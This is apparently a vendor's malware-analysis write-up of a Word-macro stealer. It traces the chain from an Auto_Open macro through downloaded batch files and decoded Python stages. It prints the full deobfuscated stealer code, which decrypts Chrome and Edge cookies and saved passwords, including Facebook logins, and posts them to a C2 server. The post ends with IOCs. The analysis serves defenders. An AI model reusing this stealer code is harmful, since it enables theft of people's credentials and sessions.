In our recent investigations, we have identified a stealer malware spreading through Word documents. Despite its seemingly simple operation, the malware drew our attention when it received a detection score of 4/67 on VirusTotal.
Once installed on a compromised computer, it retrieves the device’s IP address and sends the user’s browser information to a command-and-control (C2) server, tailored to specific countries.
Preview: Malicious Word File
The user is shown a fake screen like the one below and in the background the commands that will be shown later in the analysis are executed.
Auto_Open, one of the macros available in the document, starts malicious code as soon as the document is opened.
Analysis of Malicious Word
The ViperMonkey tool can be used directly to emulate the code in the malware. In this way, the malicious macros and IOCs can be displayed in clean output according to the flow. Here we see that the entry point is autoopen and a file will be downloaded from the remote server and saved as mem.bat in the Public folder.
If we manually curl this operation with cmd, cmd commands can be displayed as follows.
These commands work as follows:
- Another file is downloaded with Powershell and saved in the Startup folder as WindowsUpdate.bat for persistence.
- Then download python39.zip file from the remote server to install python on the computer.
- Finally, download a file called documents.py from the remote server and run this script with python.
When we view the last downloaded script with curl, important modules have been imported as below and there are codes to decode and execute from base64.
At this point, no execute operation is performed, decoding is done directly and another python code is obtained. As seen here, it looks like a data is being retrieved again with the requests module.
When we get this data again with curl, we get a long base64 format data. After saving it to a different file to decode it, it is decoded with cyberchef as below.
In the decoded data, obfuscated codes written in python are seen again.
If we rename the variables manually, it becomes clean like below:
def func1(): var1 = getpass.getuser() var2 = "" try: p = requests.get("https://ipinfo.io") var3 = p.json() var2 = var3["ip"] + "\nCountry: " + var3["country"] + "\nCity: " + var3["city"] except: pass return {"username": var1, "ip": var2} def func2(): p = requests.get("https://sealingshop.click/host/review") return p.text.replace("\n", "") os.system("taskkill /f /im chrome.exe") var4 = func1() func2 = func2() def func3(data, key): try: iv = data[3:15] data = data[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(data)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1]) except: return "" def func4(parameter1): var5 = None try: if parameter1 == "chrome": var5 = os.path.join( os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State", ) elif parameter1 == "edge": var5 = os.path.join( os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data", "Local State", ) if var5 != None: with open(var5, "r", encoding="utf-8") as f: var6 = f.read() var6 = json.loads(var6) key = base64.b64decode(var6["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] return None except: return None def func5(parameter1): var7 = [] if parameter1 == "chrome": var8 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies" path_profile = "\\..\\Local\\Google\\Chrome\\User Data\\Profile " elif parameter1 == "edge": var8 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies" path_profile = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile " try: conn = sqlite3.connect(os.getenv("APPDATA") + var8) conn.text_factory = lambda b: b.decode(errors="ignore") var9 = func7(conn, parameter1) var7.append(var9) except: pass for i in range(1, 200): try: conn = sqlite3.connect( os.getenv("APPDATA") + path_profile + str(i) + "\\Network\\Cookies" ) conn.text_factory = lambda b: b.decode(errors="ignore") var10 = func7(conn, parameter1) var7.append(var10) except: pass return var7 def func6(parameter1): var11 = [] if parameter1 == "chrome": var8 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" path_profile = "\\..\\Local\\Google\\Chrome\\User Data\\Profile " elif parameter1 == "edge": var8 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data" path_profile = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile " try: conn = sqlite3.connect(os.getenv("APPDATA") + var8) conn.text_factory = lambda b: b.decode(errors="ignore") var12 = func8(conn, parameter1) var11.append(var12) except: pass for i in range(1, 200): try: conn = sqlite3.connect( os.getenv("APPDATA") + path_profile + str(i) + "\\Login Data" ) conn.text_factory = lambda b: b.decode(errors="ignore") var12 = func8(conn, parameter1) var11.append(var12) except: pass return var11 def func7(conn, parameter1, host_key=""): var7 = "" if conn != None: with conn: cur = conn.cursor() if host_key != "": cur.execute( "SELECT host_key, has_expires, path, is_secure, expires_utc, name, encrypted_value FROM Cookies WHERE host_key LIKE '%facebook.com%' ORDER BY host_key" ) else: cur.execute( "SELECT host_key, has_expires, path, is_secure, expires_utc, name, encrypted_value FROM Cookies ORDER BY host_key" ) key = func4(parameter1) if key != None: host = "" for i in cur.fetchall(): if i[1] == 1: exp = "TRUE" else: exp = "FALSE" if i[3] == 1: ser = "TRUE" else: ser = "FALSE" decrypted_value = func3(i[6], key) try: var7 += ( i[0] + "\t" + exp + "\t" + i[2] + "\t" + ser + "\t" + str(i[4]) + "\t" + i[5] + "\t" + decrypted_value + "\n" ) except: pass return var7 return var7 def func8(conn, parameter1, origin_url=""): data = "" if conn != None: with conn: cur = conn.cursor() if origin_url != "": cur.execute( "SELECT origin_url, username_value, password_value FROM logins WHERE origin_url LIKE '%facebook.com%' ORDER BY origin_url" ) else: cur.execute( "SELECT origin_url, username_value, password_value FROM logins ORDER BY origin_url" ) key = func4(parameter1) if key != None: for i in cur.fetchall(): decrypted_value = func3(i[2], key) data += ( "URL: " + i[0] + "\nUsername: " + i[1] + "\nPassword: " + decrypted_value + "\n=====\n" ) return data return data def func9(parameter1): var13 = [] if parameter1 == "chrome": var14 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies" var15 = "\\..\\Local\\Google\\Chrome\\User Data\\Profile " var16 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" var17 = "\\..\\Local\\Google\\Chrome\\User Data\\Profile " elif parameter1 == "edge": var14 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies" var15 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile " var16 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data" var17 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile " try: conn = sqlite3.connect(os.getenv("APPDATA") + var14) conn.text_factory = lambda b: b.decode(errors="ignore") var18 = func7(conn, parameter1, "fb") try: conn = sqlite3.connect(os.getenv("APPDATA") + var16) conn.text_factory = lambda b: b.decode(errors="ignore") var19 = func8(conn, parameter1, "fb") except: var19 = "" var20 = {"cookie": var18, "password": var19} var13.append(var20) except: pass for i in range(1, 200): try: conn = sqlite3.connect( os.getenv("APPDATA") + var15 + str(i) + "\\Network\\Cookies" ) conn.text_factory = lambda b: b.decode(errors="ignore") var21 = func7(conn, parameter1, "fb") try: conn = sqlite3.connect( os.getenv("APPDATA") + var17 + str(i) + "\\Network\\Cookies" ) conn.text_factory = lambda b: b.decode(errors="ignore") var22 = func8(conn, parameter1, "fb") except: var22 = "" var20 = {"cookie": var21, "password": var22} var13.append(var20) except: pass return var13 def func10(): var23 = func9("chrome") var24 = func9("edge") data = {"userInfo": var4, "chrome": var23, "edge": var24} try: requests.post(func2 + "/up/cookie-password", json=data) except: pass def func11(): var25 = func5("chrome") var26 = func5("edge") var27 = func6("chrome") var28 = func6("edge") data = { "userInfo": var4, "chrome": {"cookie": var25, "password": var27}, "edge": {"cookie": var26, "password": var28}, } try: requests.post(func2 + "/up/cookie-password-all", json=data) except: pass p = requests.get("https://ipinfo.io") if p.json()["country"] not in [ "ZM", "YE", "TV", "TG", "TO", "SA", "MW", "KE", "V", "GA", "ET", "DM", "BE", ]: func10() func11()
This code runs permanently on the computer and performs the following functions:
- Getting User and IP Information:
func1
retrieves the computer’s username and IP details. - Fetching and Modifying Data:
func2
fetches data from a specified URL and removes unnecessary characters. - Decrypting Data:
func3
decrypts given data using AES or Windows native methods. - Retrieving Browser Data:
func4
,func5
,func6
, andfunc7
extract cookies, passwords, and other data from Chrome or Edge browsers and decrypt them. - Sending Data:
func10
andfunc11
send user information and browser data to a specified URL.
The stolen information is sent to another server fetched by the func2 function as follows.
In addition, the process chain with procmon is as follows:
Analysis With DOCGuard
DOCGuard can swiftly examine a suspicious Word document and provide you with a detailed analysis within seconds.
Additionally, it can scan any identified IOCs and malicious URLs.
MITRE ATT&CK Tactics and Techniques
IOCs
URL | sealingshop[.]click |
URL | cedc-14-225-198-35[.]ngrok-free[.]app |
MD5 | 03e9580af45e9d37e0c77c012557cfa1 |
MD5 | 495d8670bdf6bcbbbaeae5a569f65952 |
MD5 | c20e187df24f7295d6ba3ce269eb0fd9 |